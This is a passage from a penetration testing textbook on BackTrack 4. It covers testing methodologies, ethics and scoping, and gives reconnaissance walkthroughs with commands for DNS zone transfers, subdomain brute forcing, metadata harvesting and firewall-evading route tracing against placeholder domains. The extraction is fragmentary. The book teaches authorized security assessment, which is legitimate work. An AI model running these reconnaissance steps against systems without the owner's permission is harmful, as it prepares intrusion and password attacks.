vulnerabilities is comparably less than the black-box approach.
The combination of both types of penetration testing provides a powerful insight for
internal and external security viewpoints. This combination is known as Grey-Box
testing, and the auditor engaged with gray-box testing is also known as grey-hat.
The key benefit in devising and practicing a gray-box approach is a set of advantages
posed by both approaches mentioned earlier. However, it does require an auditor
with limited knowledge of an internal system to choose the best way to assess its
overall security. On the other side, the external testing scenarios geared by the gray-
box approach are similar to that of the black-box approach itself, but can help in
making better decisions and test choices because the auditor is informed and aware
of the underlying technology.
[ 39 ]
Penetration Testing Methodology
Vulnerability assessment is a process for assessing the internal and external security
controls by identifying the threats that pose serious exposure to the organizations
assets. This technical infrastructure evaluation not only points the risks in the
existing defenses but also recommends and prioritizes the remediation strategies.
The internal vulnerability assessment provides an assurance for securing the internal
systems, while the external vulnerability assessment demonstrates the security of the
perimeter defenses. In both testing criteria, each asset on the network is rigorously
tested against multiple attack vectors to identify unattended threats and quantify
the reactive measures. Depending on the type of assessment being carried out,
a unique set of testing process, tools, and techniques are followed to detect and
identify vulnerabilities in the information assets in an automated fashion. This can be
achieved by using an integrated vulnerability management platform that manages
an up-to-date vulnerabilities database and is capable of testing different types
of network devices while maintaining the integrity of configuration and change
management.
This perception of an industry, while dealing with both of these assessment types,
may confuse and overlap the terms interchangeably, which is absolutely wrong.
A qualified consultant always makes an exception to workout the best type of
assessment based on the client's business requirement rather than misleading them
from one over the other. It is also a duty of the contracting party to look into the core
details of the selected security assessment program before taking any final decision.
[ 40 ]
Chapter 2
All of these testing frameworks and methodologies will assist the security
professionals to choose the best strategy that could fit into their client's requirements
and qualify the suitable testing prototype. The first two provide general guidelines
and methods adhering security testing for almost any information assets. The
last two mainly deal with the assessment of an application security domain. It is,
however, important to note that the security in itself is an on-going process. Any
minor change in the target environment can affect the whole process of security
testing and may introduce errors in the final results. Thus, before complementing
any of the above testing methods, the integrity of the target environment should
be assured. Additionally, adapting any single methodology does not necessarily
provide a complete picture of the risk assessment process. Hence, it is left up to the
security auditor to select the best strategy that can address the target testing criteria
and remains consistent with its network or application environment.
There are many security testing methodologies which claim to be perfect in finding
all security issues, but choosing the best one still requires a careful selection process
under which one can determine the accountability, cost, and effectiveness of the
assessment at optimum level. Thus, determining the right assessment strategy
depends on several factors, including the technical details provided about the target
environment, resource availability, PenTester's knowledge, business objectives,
and regulatory concerns. From a business standpoint, investing blind capital and
serving unwanted resources to a security testing process can put the whole business
economy in danger.
[ 41 ]
Penetration Testing Methodology
[ 43 ]
Penetration Testing Methodology
The ISSAF contains a rich set of technical assessment baseline to test the number of
different technologies and processes. But this has introduced another problem of
maintenance, to keep updating the framework in order to reflect new or updated
technology assessment criteria. When comparing with OSSTMM methodology,
the latter is less affected by these obsolescence issues because the auditor can be
able to use the same methodology over the number of security engagements using
different set of tools and techniques. On the other hand, ISSAF also claims to be a
broad framework with up-to-date information on security tools, best practices, and
administrative concerns to complement the security assessment program. It can also
be aligned with OSSTMM or any other similar testing methodology, thus, combine
the strengths of each other. However, it is important to note that ISSAF is still in its
infancy and a bit outdated when compared to other methodologies and frameworks.
[ 45 ]
Penetration Testing Methodology
[ 46 ]
Chapter 2
In order to justify top ten application security risks presented by OWASP, we have
explained them below with their short definitions, exemplary types, and preventive
measures:
[ 47 ]
Penetration Testing Methodology
[ 48 ]
Chapter 2
• Enumeration View: This view is dedicated to provide the basis for web
application attacks and weaknesses. Each of these attacks and weaknesses
has been discussed individually with their concise definition, types, and
examples of multiple programming platforms. Additionally, they are inline
with their unique identifier which can be useful for referencing. There are a
total of 49 attacks and weaknesses collated with a static WASC-ID number (1
to 49). It is important to note that this numeric representation does not focus
on risk severity but instead serves the purpose of referencing.
[ 49 ]
Penetration Testing Methodology
More details regarding WASC-TC and its views can be found at:
http://projects.webappsec.org/Threat-Classification.
The BackTrack testing methodology we have presented in this section will constitute
both the black-box and white-box approaches. Either of these approaches can be
adjusted according to the given target of assessment. The methodology is composed
of a number of steps that should be followed in a process at the initial, medial, and
final stages of testing in order to accomplish a successful assessment. These include
Target Scoping, Information Gathering, Target Discovery, Enumerating Target,
Vulnerability Mapping, Social Engineering, Target Exploitation, Privilege Escalation,
Maintaining Access, and Documentation and Reporting.
[ 51 ]
Penetration Testing Methodology
The illustration for the BackTrack testing process is also given below.
Target scoping
Before starting the technical security assessment, it is important to observe and
understand the given scope of the target network environment. It is also necessary to
know that the scope can be defined for a single entity or set of entities that are given to the
auditor. What has to be tested, how it should be tested, what conditions should be applied
during the test process, what will limit the execution of test process, how long will it take
to complete the test, and what business objectives will be achieved, are all the possible
outlines that should be decided under target scoping. To lead a successful penetration
testing, an auditor must be aware of the technology under assessment, its basic
functionality, and interaction with the network environment. Thus, the knowledge of an
auditor does make a significant contribution towards any kind of security assessment.
Information gathering
Once the scope has been finalized, it is time to move into the reconnaissance phase.
During this phase, a pentester uses a number of publicly available resources to
learn more about his target. This information can be retrieved from Internet sources
such as forums, bulletin boards, newsgroups, articles, blogs, social networks, and
other commercial or non-commercial websites. Additionally, the data can also
be gathered through various search engines such as Google, Yahoo!, MSN Bing,
Baidu, and others. Moreover, an auditor can use the tools provided in BackTrack
to extract network information about a target. These tools perform valuable data
mining techniques for collecting information through DNS servers, trace routes,
Whois database, e-mail addresses, phone numbers, personal information, and user
accounts. The more information that is gathered it will increase the chances for the
success of penetration testing.
[ 52 ]
Chapter 2
Target discovery
This phase mainly deals with identifying the target's network status, operating
system, and its relative network architecture. This provides a complete image of the
current technologies or devices interconnected and may help further in enumerating
various services running over the network. By using the advanced network tools
from BackTrack, one can easily determine the live network hosts, operating systems
running on these host machines, and characterize each device according to its role on
the network system. These tools generally implement active and passive detection
techniques on the top of network protocols which can be manipulated in different
forms to acquire the useful information, such as operating system fingerprinting.
Enumerating target
This phase takes all the previous efforts forward and finds the open ports on the
target systems. Once the open ports have been identified, they can be enumerated
for the running services. By using a number of port scanning techniques such as full-
open, half-open, and stealth, scan can help determining the port visibility, even if the
host is behind a firewall or Intrusion Detection System (IDS). The services mapped
to the open ports help in further investigating the vulnerabilities that may exist on
the target network infrastructure. Hence, this phase serves as a base for finding
vulnerabilities in various network devices which can lead to a serious penetration.
An auditor can use some automated tools given in the BackTrack to achieve the goal
of this phase.
Vulnerability mapping
Until the previous phase, we have gathered sufficient information about the target
network. It is now time to identify and analyze the vulnerabilities based on the
disclosed ports and services. This process can achieved via a number of automated
network and application vulnerability assessment tools present under BackTrack OS.
It can also be done manually but takes an enormous amount of time and requires
expert knowledge. However, combining both approaches should provide an auditor
a clear vision to carefully examine any known or unknown vulnerability that may
otherwise exist on the network systems.
[ 53 ]
Penetration Testing Methodology
Social engineering
Practicing the art of deception is considerably important when there is no open gate
available for an auditor to enter the target network. Thus, using a human attack
vector, it is still possible to penetrate the target system by tricking a user into executing
malicious code that should give backdoor access to the auditor. Social engineering
comes in different forms. This can be anybody pretending to be a network administrator
over the phone forcing you to reveal account information, or an e-mail phishing scam
leading to hijack your bank account details. There is an immense set of possibilities that
could be applied to achieve the required goal. It is essential to note that for a successful
penetration, sometimes it may require additional time drawing the human psychology
before applying any suitable deception against the target.
Target exploitation
After carefully examining the discovered vulnerabilities, it is possible to penetrate
the target system based on the types of exploits available. Sometimes it may require
additional research or modifications to the existing exploit in order to make it work
properly. This sounds a bit difficult, but may get easier when considering a work
under advanced exploitation tools, which are already provided with BackTrack.
Moreover, an auditor can also apply client-side exploitation methods mixed with a
little social engineering to take control of a target system. Thus, this phase mainly
focuses on target acquisition process. And the process coordinates three core areas,
which involve pre-exploitation, exploitation, and post-exploitation activities.
Privilege escalation
Once the target is acquired, the penetration is successful. An auditor can now move
freely into the system depending on his access privileges. These privileges can also
be escalated using any local exploits matching the system environment, which
once executed, should attain super-user or system-level privileges. From this point
of entry, an auditor might also be able to launch further attacks against the local
network systems. This process can be restricted or non-restricted depending on the
given target scope. There is also a possibility to learn more about the compromised
target by sniffing the network traffic, cracking passwords of various services, and
applying local network spoofing tactics. Hence, the purpose of privilege escalation is
to gain the highest level access to the system.
[ 54 ]
Chapter 2
Maintaining access
Sometimes an auditor may be asked to retain access to the system for a specified time
period. Such activity can be used to demonstrate illegitimate access to the system
without hindering the penetration testing process again. This saves time, cost, and
resources being served for gaining access to the system for security purposes. By
employing some secreting tunneling methods, which make a use of protocol, proxy,
or end-to-end connection strategy that can lead to establish a backdoor access, can
help an auditor to maintain his footsteps into the target system as long as required.
This kind of system access provides a clear view on how an attacker can maintain his
presence in the system without noisy behavior.
The ethics
The ethical vision of security testing constitutes rules of engagement that have to
be followed by an auditor to present professional, ethical, and authorized practices.
These rules define how the testing services should be offered, how the testing should
be performed, determine the legal contracts and negotiations, define the scope
of testing, prepare the test plan, follow the test process, and manage a consistent
reporting structure. Addressing each of these areas requires careful examination and
design of formal practices and procedures that must be followed throughout the test
engagement. Some examples of these rules have been discussed below.
• Offering testing services after breaking into the target system before making
any formal agreement between the client and auditor should be completely
forbidden. This act of unethical marketing can result in the failure of a
business and may have legal implications depending on jurisdictions of a
country.
• Performing a test beyond the scope of testing and crossing the identified
boundaries without explicit permissions from a client is prohibited.
[ 55 ]
Penetration Testing Methodology
• Binding a legal contract that should limit the liability of a job unless any
illegal activity is detected. The contract should clearly state the terms and
conditions of testing, emergency contact information, statement of work, and
any obvious conflicts of interest.
• Scope definition should clearly define all the contractual entities and the
limits imposed to them during security assessment.
• Test plan concerns the amount of time required to assess the security of
a target system. It is highly advisable to draw up a schedule that does not
interrupt the production of business hours.
• Test process defines the set of steps necessary to follow during the test
engagement. These rules combine technical and managerial views for
restricting the testing process with its environment and people.
• Test results and reporting must be presented in a clear and consistent order.
The report must mark all the known and unknown vulnerabilities, and
should be delivered confidentially to the authorized individual only.
Summary
In this chapter, we have discussed a detailed penetration testing methodology with
its various views from the development lifecycle and risk management process. We
have also described the basic terminology of penetration testing, its associated types,
and the industry contradiction with other similar terms. The summary of these key
points has been highlighted below:
• There are two types of penetration testings, namely, black-box and white-
box. Black-box approach is also known as "external testing" where the
auditor has no prior knowledge of the target system. White-box approach
refers to an "internal testing" where the auditor is fully aware of target
environment. The combination of both types is known as gray-box.
• The basic difference between vulnerability assessment and penetration
testing is that the vulnerability assessments identify the flaws that exist on
the system without measuring their impact, while the penetration testing
takes a step forward and exploits these vulnerabilities in order to evaluate
their consequences.
[ 56 ]
Chapter 2
• There are a number of security testing methodologies, but a very few provide
stepwise and consistent instructions on measuring the security of a system
or application. We have discussed four such well-known open source
security assessment methodologies highlighting their technical capabilities,
key features and benefits. These include Open Source Security Testing
Methodology Manual (OSSTMM), Information Systems Security Assessment
Framework (ISSAF), Open Web Application Security Project (OWASP), and
Web Application Security Consortium Threat Classification (WASC-TC).
• We have also presented a structured BackTrack testing methodology with
a defined process for penetration testing. This process involves a number
of steps which have been organized according to the industry approach
towards security testing. These include Target Scoping, Information
Gathering, Target Discovery, Enumerating Target, Vulnerability Mapping,
Social Engineering, Target Exploitation, Privilege Escalation, Maintaining
Access, and Documentation and Reporting.
• Finally, we have discussed the ethical view of penetration testing that
should be justified and followed throughout the assessment process. Putting
ethics on every single step of assessment engagement leads to a successful
settlement between auditor and business entity.
The next chapter will guide you through the strategic engagement of acquiring and
managing information taken from the client for the penetration testing assignment.
[ 57 ]
PART II
Penetration
Testers Armory
Target Scoping
Information Gathering
Target Discovery
Enumerating Target
Vulnerability Mapping
Social Engineering
Target Exploitation
Privilege Escalation
Maintaining Access
As we can see in the preceding screenshot, each step constitutes unique information
that is aligned in a logical order to pursue the test execution successfully. Remember,
the more information that is gathered and managed properly, the easier it will be for
both the client and the penetration testing consultant to further understand the process
of testing. This also governs any legal matters to be resolved at an early stage. Hence,
we will explain each of these steps in more detail in the following section.
[ 62 ]
Chapter 3
The basic purpose of gathering client requirements is to open a true and authentic
channel by which the pentester can obtain any information that may be necessary for
the testing process. Once the test requirements have been identified, they should be
validated by a client in order to remove any misleading information. This will ensure
that the developed test plan is consistent and complete.
We have listed some of the commonly asked questions that can be used in a
conventional customer requirements form and the deliverables assessment form. It is
important to note that this list can be extended or shortened according to the goal of a
client and that the client must retain enough knowledge about the target environment.
[ 63 ]
Target Scoping
2. In which format do you want the report to be delivered? PDF, HTML, or DOC.
3. How should the report be submitted? E-mail or printed.
4. Who is responsible for receiving these reports?
°° Employee
°° Shareholder
°° Stakeholder
By using such a concise and comprehensive inquiry form, you can easily extract the
customer requirements and fulfill the test plan accordingly.
[ 64 ]
Chapter 3
[ 65 ]
Target Scoping
By preparing each of these subparts of the test plan, you can ensure the consistent
view of a penetration testing process. This will provide a penetration tester
with more specific assessment details that has been processed from the client
requirements. It is always recommended to prepare a test plan checklist which can be
used to verify the assessment criteria and its underlying terms with the contracting
party. One of such exemplary types of checklist is discussed in the following section.
[ 66 ]
Chapter 3
[ 67 ]
Target Scoping
Profiling all of these limitations and restrictions is important, which can be observed
while gathering the client requirements. It is the duty of a good auditor to dissect
each requirement and hold the discussion with the client to pull or change any
ambiguous restrictions which may cause interruption to the testing process or may
result in a security breach in the near future. These limitations can also be overcome
by introducing the highly skilled auditors and advanced set of tools and techniques
for the assessment. Although by nature, certain technology limitations cannot be
eliminated and may require extra time to develop their testing solution.
The task is defined as a piece of work undertaken by the penetration tester. The
resource can be a person involved in the security assessment or an ordinary source
such as, lab equipment, which can be helpful in penetration testing. In order to
manage these projects efficiently and cost effectively, there are a number project
management tools available that can be used to achieve our mission. We have listed
some important project management tools below. Selecting the best one depends on
the environment and requirements of the testing criteria.
[ 69 ]
Target Scoping
Using any of these powerful tools, the work of the penetration tester can easily
be tracked and managed in accordance with their defined tasks and time period.
Additionally, these tools provide the most advanced features, such as generating an
alert for the project manager if the task is finished or the deadline has been crossed.
There are many other positive facts which encourage the use of project management
tools during the penetration testing assignment. These include efficiency in
delivering services on time, improved test productivity and customer satisfaction,
increased quality and quantity of work, and flexibility to control the work progress.
Summary
This chapter explains one of the first steps of the BackTrack testing process. The main
objective of this chapter is to provide a necessary guideline on formalizing the test
requirements. For this purpose, a scope process has been introduced to highlight
and describe each factor that builds a practical roadmap towards test execution.
The scope process is made of five independent elements. These are gathering client
requirements, preparing test plan, profiling test boundaries, defining business
objectives, and project management and scheduling. The aim of a scope process is to
acquire and manage as much information as possible about the target environment
which can be useful throughout the penetration testing process. As discussed in the
chapter, we have summarized each part of the scope processes below.
[ 70 ]
Chapter 3
• Defining business objectives focus on key benefits that a client may get
from the penetration testing service. This section provides a set of general
objectives that is structured according to the assessment criteria and the
industry achievement.
• Project management and scheduling is a vital part of a scope process. Once
all the requirements have been gathered and aligned according to the test
plan, it's time to allocate proper resources and timescale for each identified
task. By using some advanced project management tools, one can easily
keep track of all these tasks assigned to specific resources under the defined
timeline. This can help increase the test productivity and efficiency.
In the next chapter, we will illustrate the practical reconnaissance process which
contributes a key role in penetration testing. This includes probing the public
resources, DNS servers, search engines, and other logical information about target
infrastructure.
[ 71 ]
Information Gathering
In this chapter, we will discuss the information gathering phase for penetration
testing. We will describe what information gathering is and what its use is. We
will also describe several tools that can be used for information gathering. After
finishing this chapter, we hope that the reader will have a better understanding of
the information gathering phase.
Based on the method used, we can divide information gathering in two ways: active
information gathering and passive information gathering. In the active information
gathering method, we collect information by introducing network traffic to the
target network, such as doing an ICMP ping, and a TCP port scan. While in passive
information gathering, we gather information about a target network by utilizing
third parties services, such as the Google search engine, and so on.
• Several public resources that can be used to collect information regarding the
target domain
• Document gathering tool
• DNS information tools
• Tools to collect route information
Information Gathering
Public resources
On the Internet, there are several public resources that can be used to collect
information regarding a target domain. The benefit of using these resources is that
we don't generate network traffic to the target domain directly, so the target domain
may not know about our activities.
I suggest you utilize these public resources first before using BackTrack tools.
In addition to the public resources listed above, you can also use BackTrack tools.
BackTrack 4 comes with many tools that can be used during the information
gathering phase. It has been grouped for the purpose of the tools.
Following are the tool groups for doing passive information gathering:
• Document Gathering
[ 74 ]
Chapter 4
• DNS
• Route
• Search Engine
Document gathering
The tools included in this category are used to collect information from documents
available in the target domain. The advantage of using this kind of tool is that you
don't go to the target website yourself, but you use Google, so the target website
won't know about your action.
Metagoofil
Metagoofil is a tool that utilizes the Google search engine to get metadata from
documents available in the target domain. Currently it supports the following
document types:
• Searching for all of the above file types in the target domain using the Google
search engine
• Downloading all of the documents found and saving them to the local disk
• Extracting the metadata from the downloaded documents
• Saving the result in an HTML file
The metadata that can be found are usernames, path, and MAC address. This
information can be used later on to help in the penetration testing phase.
This will display a simple usage instruction and example on your screen.
[ 75 ]
Information Gathering
As an example of metagoofil usage, we will collect all the documents from a target
domain and save them to a directory named test. We limit the download for each
file type to 20 files. The report generated will be saved to test.html. Following is
the command we give:
# ./metagoofil.py -d targetdomain -l 20 -f all -o test.html -t test
[ 76 ]
Chapter 4
\
(Windows\))/Author(User)/\
Normal\
[+] Process finished
You can see from the result that we get a lot of information from the documents we
have collected, such as usernames and path information. We can use the usernames
to brute force the password, while the path information can be used to guess the
operating system used by the target. We got all of this information without going to
the domain website ourselves.
DNS information
The tools grouped in this category can be used to get Domain Name System (DNS)
information and also to check the DNS server configuration.
[ 77 ]
Information Gathering
dnswalk
The dnswalk tool can be used to find out information about the complete list of IP
addresses and the corresponding hostnames stored in the targeted DNS server. It
works by utilizing a DNS zone transfer.
A DNS zone transfer is a mechanism used to replicate a DNS database from a master
DNS server to another DNS server, usually called a slave DNS server. With this
mechanism, the master and slave DNS server database will be in sync. This sync
feature in DNS protocol can be used by the penetration tester to gather information
about the target domain.
Besides doing DNS zone transfer, dnswalk will also perform a DNS database check
for internal consistency and accuracy.
To access dnswalk from the BackTrack 4 menu, navigate to Backtrack | Information
Gathering | DNS | DNS-Walk or you can access dnswalk help file using the
following command:
# ./dnswalk –help
This will display a simple usage instruction on your screen. If you want to display
the dnswalk manual page, you can do so by giving the following command. Make
sure you are in the dnswalk directory:
# man -l dnswalk.1.gz
This will display the dnswalk manual page on your screen. You can navigate
through this manual page using the manual page navigation button, such as PgDn
(to go down one page) and PgUp (to go up one page). To quit from this manual page,
just press the q button.
As an example of using dnswalk, we will try to get DNS information from a target
domain. The following is the appropriate command:
# ./dnswalk targetdomain.
The following is the result of that command. We have removed the real domain
name and IP addresses:
Checking targetdomain.
Getting zone transfer of targetdomain. from ns1.targetdomain...done.
SOA=ns.targetdomain contact=admin.targetdomain
WARN: af-colo.targetdomain A 10.255.xx.xx: no PTR record
[ 78 ]
Chapter 4
Please note that in today's DNS server configuration, most DNS servers do not allow
zone transfer. This zone transfer activity may have been monitored by most DNS
server administrator and it will raise an attack alarm. Experienced penetration testers
carefully use this technique as the last choice.
dnsenum
This tool works in a way similar to dnswalk, but it has additional approaches, which
can:
• Get extra names and subdomains utilizing the Google search engine.
• Find out subdomain names by brute forcing the names from the text file. The
dnsenum included in BackTrack comes with a file (dns.txt) containing 95
subdomain names.
• Carry out Whois queries on C-class domain network ranges and calculate its
network ranges.
• Carry out reverse lookup on network ranges.
• Use threads to do different queries.
As an example of the dnsenum usage, we will use dnsenum to get DNS information
from a target domain. The following is the appropriate command:
# ./dnsenum.pl targetdomain
[ 79 ]
Information Gathering
It looks like we can't do a zone transfer from the target domain using our DNS
server. Let's try to brute force the domain using the provided text file (dns.txt).
The following is the appropriate command:
# ./dnsenum.pl -f dns.txt targetdomain
From the result below, we can find several subdomains in the target domain that we
want:
------------------------------
Brute forcing with dns.txt:
------------------------------
ns.targetdomain. 940 IN A 192.168.xx.xx
ntp.targetdomain. 1010 IN A 192.168.xx.xx
pop.targetdomain. 1007 IN A 192.168.xx.xx
smtp.targetdomain. 1004 IN A 192.168.xx.xx
voips.targetdomain. 993 IN A 192.168.xx.xx
www.targetdomain. 1667 IN A 192.168.xx.xx
-------------------------------
targetdomain c class netranges:
-------------------------------
192.168.xx.0/24
Luckily for us, the target domain is using common subdomain names, so we are able
to find out several subdomains in the target domain.
Next we try to use this tool using another DNS server that allows zone transfer. We
are using a simple command:
# ./dnsenum.pl targetdomain
[ 80 ]
Chapter 4
---------------------
trying zonetransfer for targetdomain on ns1.targetdomain ...
targetdomain. 1800 IN SOA ns.targetdomain. admin.
targetdomain. (
2011010101 ; Serial
3600 ; Refresh
600 ; Retry
86400 ; Expire
900 ) ; Minimum TTL
targetdomain. 1800 IN MX 10 maildev.targetdomain.
targetdomain. 1800 IN A ww.xx.yy.zz
targetdomain. 1800 IN NS ns.targetdomain.
targetdomain. 1800 IN NS ns1.targetdomain.
targetdomain. 1800 IN NS ns2.targetdomain.
...
voips.targetdomain. 1800 IN A ww.xx.yy.zz
vpn.targetdomain. 1800 IN A ww.xx.yy.zz
webdev.targetdomain. 1800 IN A ww.xx.yy.zz
webmail.targetdomain. 1800 IN CNAME webdev.targetdomain.
webmail2.targetdomain. 1800 IN A ww.xx.yy.zz
dev.www.targetdomain. 1800 IN A ww.xx.yy.zz
www2.targetdomain. 1800 IN A ww.xx.yy.zz
Please notice that this time we are able to do a zone transfer and we get all those
precious pieces of information such as internal IP addresses and live IP address
mappings.
dnsmap
The dnsmap tool uses an approach similar to that of dnswalk and dnsenum to find out
subdomains. It comes with a built-in wordlist for brute forcing, and it can also use a
user-supplied wordlist. Additional features provided by dnsmap are that the results
can be saved in the Comma Separated Value (CSV) format for further processing and
it doesn't need a root privilege to run.
This will display the usage instruction and example on your screen.
[ 81 ]
Information Gathering
As an example of the dnsmap usage, we will use dnsmap to brute force subdomains in
the target domain using the built-in wordlist. Here is the appropriate command:
#./dnsmap targetdomain
If you want to use your own wordlist for brute forcing, you can use the following
command:
#./dnsmap -w yourwordlist targetdomain
[ 82 ]
Chapter 4
Please be aware that it may take a very long time to do brute force, especially if you
have a large wordlist file.
dnsmap-bulk
The dnsmap tool can only be used to brute force subdomains from a target domain. If
you want to brute force many domains, you can use dnsmap-bulk. To be able to use
it, first you need to put your entire target domain in a text file and give that text file
as an option for dnsmap-bulk.
This will display the usage instruction and example on your screen.
The domains text file should contain each domain in a separate line.
• DomainA
• DomainB
• DomainC
[ 83 ]
Information Gathering
We save those domain names in a text file called domains.txt. The command to
brute force using the built-in wordlist is:
# ./dnsmap-bulk.sh domains.txt
dnsrecon
This tool is written in Ruby language and has similar features to all of the previous
tools. As of version 1.5, which is included in BackTrack 4, the dnsrecon can be used to:
That command will do a general DNS Query for NS, SOA and MX Records.
[ 84 ]
Chapter 4
fierce
The purpose of this tool is similar to that of the previous ones, but it has an
advantage that allows you to find out other IP addresses used by the domain you
want to check, and it can scan the domain simultaneously using threads.
[ 85 ]
Information Gathering
Next we will describe several tools that can be used for getting routing information.
Route information
The BackTrack 4 tools grouped in this category can be used to get network routing
information.
0trace
0trace is a tool that can be used to passively trace the network route between the
penetration tester and the target device. 0trace utilizes common protocols such as
HTTP or SNMP to reach the firewall, and then uses a TTL-based packet afterward.
There are many reasons why using 0trace can be more successful than using a
traditional traceroute. Some of them are: If there is a firewall misconfiguration,
the firewall doesn't rewrite all of the packet (which is common for native stateful
inspection firewall), and a firewall doesn't use an application layer gateway or proxy
(which is common in today's company infrastructure). 0trace works by setting up
a listener to wait for a TCP connection from the target device and it then performs a
traceroute using an already established connection.
Put simply, 0trace is a shell script that is able to obtain the route information of a
network device protected by a stateful inspection firewall or similar device. It utilizes
the tcpdump command.
Before we can use 0trace, we need to find out the IP address of the target device.
We can use ping for this purpose. Open up a console terminal program and ping the
target device using the following command:
# ping -c 3 targetdevice
[ 86 ]
Chapter 4
You will have an IP address (ww.xx.yy.zz) of the target device after the ping
command.
We know that our traceroute is being blocked after reaching the isp2-2 device.
Now let's use 0trace. To access 0trace from the BackTrack 4 menu, you go to
Backtrack | Information Gathering | Route | 0trace, or you can use the console
and type the following command:
# /usr/local/sbin/0trace.sh
Please adjust the network interface (eth0) and target_ip (ww.xx.yy.zz) options
accordingly.
[ 87 ]
Information Gathering
0trace will then listen for a connection from the target device. You will have to
connect to the target device by using netcat and access the target device web server
(if the target device is a web server) in order for 0trace to get an established network
connection.
0trace v0.01 PoC by <[email protected]>
[+] Waiting for traffic from target on eth0...
# nc ww.xx.yy.zz 80
GET / HTTP/1.0
If 0trace is able to get the route information, it will display the Target reached
message. Otherwise, it will display the Target rejected; message. Here we see that
0trace is able to display the route information, unlike the traceroute command that
was only able to trace until reaching the isp2-2 device.
dmitry
The Deep Magic Information Gathering Tool (dmitry) is an all-in-one information
gathering tool. It can be used to gather the following information:
[ 88 ]
Chapter 4
Even though those functionalities can be obtained using other Linux commands, it's
very handy to gather all of that information using a single tool and saving the report
in one file.
[ 89 ]
Information Gathering
We can also use dmitry to do a simple port scanning by giving the following command:
# ./dmitry -p targethost -f -b
From the preceding command, we notice that the target host is using a device to do
packet filtering. It only allows incoming connections to port 80 that is commonly
used for a web server.
itrace
The itrace is a tool that has traceroute functionality, but uses an ICMP echo
request. If a firewall is blocking traceroute, but still allowing ICMP echo request,
then you can use itrace for route tracing behind the firewall.
where device is your network card device and targethost is your target host.
[ 90 ]
Chapter 4
tcpraceroute
The tcptraceroute can be used as a complement to the traditional traceroute
command. While the traceroute is using UDP or ICMP ECHO to send out the
packet with a Time To Live (TTL) of one, and incrementing it until reaching the
target, the tcptraceroute is using TCP SYN to send out the packet to the target.
The advantage of using tcptraceroute is that if there is a firewall sitting between
the penetration tester and the target and it's blocking traceroute it still allows
incoming TCP packet to certain TCP ports, and so by using tcptraceroute we will
still be able to reach the target behind the firewall.
tcptraceroute will receive a SYN/ACK packet if the port is open, and it will
receive a RST packet if the port is closed.
To access tcptraceroute from the BackTrack 4 menu, navigate to Backtrack |
Information Gathering | Route | tcptraceroute, or you can use the console and type
the following command:
# tcptraceroute
From the above result we can conclude that our packets are lost during transmission.
It looks like there is a filtering device between us and the target host.
[ 91 ]
Information Gathering
3 * * *
4 74.subnet192.168.xx.xx.isp (192.168.xx.xx) 68.794 ms 76.895 ms
94.154 ms
5 isp2 (192.168.xx.xx) 122.919 ms 124.968 ms 132.380 ms
...
15 * * *
...
30 * * *
After route number 15, we are no longer able to get the route information. Usually
this is because our traceroute is being blocked by a filtering device.
We will try again using tcptraceroute, and we know that the targethost has an
open TCP port for webserver (80). Following is the command we use:
# tcptraceroute www.targethost
This time, our packet is able to reach the target host and it gives us all the route
information from our machine to the target host.
tctrace
The tctrace tool is similar to itrace, but instead of using ICMP ECHO it uses the
TCP SYN packet.
[ 92 ]
Chapter 4
where the device is your network card device and targethost is your target host.
To run tctrace to a target host here is the command:
#tctrace -i eth0 -d www.targethost
Even though the traceroute information obtained is the same as the result of the
tcptraceroute command, it is usually a good practice to use more than one tool to
verify the result.
goorecon
The goorecon is a subdomain and e-mail enumeration tool written in Ruby
language. It will find out the subdomains or e-mails that are available in the domain
you specified using Google as the search engine.
[ 93 ]
Information Gathering
To find out the subdomains available in the target domain, we give the following
command:
# ./goorecon.rb -s targetdomain
To find out the e-mail addresses for a target domain, we use the following command:
# ./goorecon.rb -e targetdomain
There are four e-mail addresses that can be found using the Google search engine.
When we tested it, there was a bug in goorecon.rb that put em after the
@ character in the e-mail address.
To fix the problem, you need to edit the goorecon.rb file and change
the following:
- puts emails.uniq!
+ emails.uniq!
+ emails.each do |e|
+ first, *rest=e.split(/\@/)
+ newemail = first+"@"+target
+ puts newemail
+ end
- : means remove this line
+ : means add this line
source: https://theriyanto.wordpress.com/2010/08/25/
goorecon-rb-small-problem/
[ 94 ]
Chapter 4
theharvester
The theharvester tool is an e-mail accounts, username, and hostname/subdomains
gathering tool. It collects the information from various public sources. As of version
1.6 the public sources supported are:
• Google
• Bing
• PGP
• Linkedin
[ 95 ]
Information Gathering
We can see that there are six usernames from the target domain that exist on the
Linkedin.com site.
Maltego
Maltego is an open source intelligence and forensics application. It allows you to
mine and gather information, and represent the information in a meaningful way.
The word "open source" in Maltego means that it gathers information from the open
source resources; it does not mean that Maltego is open source software.
• Domain names
• DNS names
• Whois information
• Network blocks
• IP addresses
[ 96 ]
Chapter 4
BackTrack 4 by default comes with Maltego 2.0.2 Community Edition. This edition
has several limitations, such as:
• It will display a nag screen for 13 seconds before you can start to use Maltego
• No save and export capabilities
• Zoom levels are limited
• Can only run transforms on a single entity at a time
• Cannot copy and paste text from the detailed view
• Transforms limited to 75 times per day
• Limited connection to the Transform Application Server (TAS)
While upgrading your BackTrack 4 you will see that there is a new
Maltego version 3. There are several limitations with Maltego 3:
• You need to register first before you can use it
• There is a limitation to only 15 transforms per day
There are more than 70 transforms available in Maltego. The word "transform" refers
to the information gathering phase done by Maltego. One transform means that
Maltego will only do one phase of information gathering.
[ 97 ]
Information Gathering
You will have to wait for around 13 seconds and click on Start using Maltego before
you can start using Maltego. You will then see the Maltego screen:
On the top-left side, you will see the Palette window. In the Palette, we can choose
the entity in which we want to gather the information .Maltego divides the entities
into four groups:
In the top middle you will see the different views: Mining, Centrality, Edge Weighted.
Views are used to extract non-obvious information from large graphs—where the
analyst cannot see clear relationships by manual inspection of data. Other than the
mining view, Maltego supports two other views:
• Edge weighted view: Node sizes are based on the number of incoming links
• Centrality view: Nodes that are calculated to be most central to the graph are
given larger nodes
[ 98 ]
Chapter 4
Next to the views, you will see different layout algorithms. Maltego supports four
layout algorithms:
• Block layout: This is the default layout and is also used during mining
• Hierarchical layout: Think of this as a tree based layout—like a file manager
• Centrality layout: Nodes that are most central to the graph (for example,
most incoming links) and which appear in the middle with the other nodes
scattered around it
• Organic layout: Nodes are packed tight together in such a way that the
distance between each node and all the other nodes is minimized
On the top-right you will see a Speed/Accuracy and #Result tab. Sliding the button
to the right will give more result and higher accuracy, but the process will be slow.
Sliding the button to the left will give fewer results and lower accuracy, but the
process will be fast.
After a brief description about Maltego, it's time for the action. In this chapter, we
will only show how to gather information about a domain. Here we go.
Drag it to the main window. If successful, you will see a domain called paterva.
com, this is a default domain. Double-click on the name and change it to your target
